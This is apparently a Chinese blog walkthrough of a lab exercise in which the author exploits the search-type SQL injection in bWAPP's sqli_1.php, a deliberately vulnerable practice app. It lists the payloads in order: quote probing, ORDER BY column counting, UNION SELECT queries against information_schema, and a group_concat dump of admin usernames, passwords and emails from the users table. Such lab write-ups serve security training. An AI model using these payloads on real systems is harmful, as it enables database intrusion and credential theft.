1. 程式人生 > >SQL註入之bWAPP之sqli_1.php

SQL註入之bWAPP之sqli_1.php

bWAPP之sqli_1.php

1、測試有沒有註入點,如果有是什麽類型註入,首先在“title=1”後面加個單引號看結果,如下圖:
技術分享圖片
報錯中含有"%"提示,所以可以確定是搜索型SQL註入。
2、輸入“title=1%‘and‘%‘=‘”或“title=1%‘or‘%‘=‘”,都未報錯,且“title=1%‘or‘%‘=‘”顯示頁面如下:
技術分享圖片
接下來開始註入。
3、判斷字段數:
輸入“title=1%‘order by 7 --+”,頁面返回正常;輸入“title=1%‘order by 8 --+”,頁面返回“Error: Unknown column ‘8‘ in ‘order clause‘”,說明字段數為7,如下圖:
技術分享圖片技術分享圖片
這裏的註釋符要用“--”而不是“#”,至於原因我也不知道,如果有大牛看到,希望不吝賜教。
4、查詢數據庫名等信息:
先看下顯示的位置,輸入:“title=1%‘union select 1,2,3,4,5,6,7 --+”,如下圖:
技術分享圖片
接著輸入“title=1%‘union select 1,database(),version(),4,user(),6,7 --+”查看數據庫名,數據庫版本,當前數據庫用戶,如下圖:
技術分享圖片
5、查詢表名:
輸入“title=1%‘union select 1,database(),version(),table_name,user(),6,7 from information_schema.tables where table_schema=‘bwapp‘ --+”,結果如圖:
技術分享圖片
很明顯我們要查看users表。
6、查詢字段名:
輸入“title=1%‘union select 1,database(),version(),column_name,user(),6,7 from information_schema.columns where table_name=‘users‘ --+”,結果如下圖:
技術分享圖片
users表中的字段計較多,我們重點關註admin、password、email三個字段。
7、查詢字段內容:
輸入“title=1%‘union select 1,database(),version(),group_concat(admin,"||",password,"||",email),user(),6,7 from users --+”,結果如下圖:
技術分享圖片

就以上這些步驟了,有興趣的可以自己嘗試其他表和其他字段。

SQL註入之bWAPP之sqli_1.php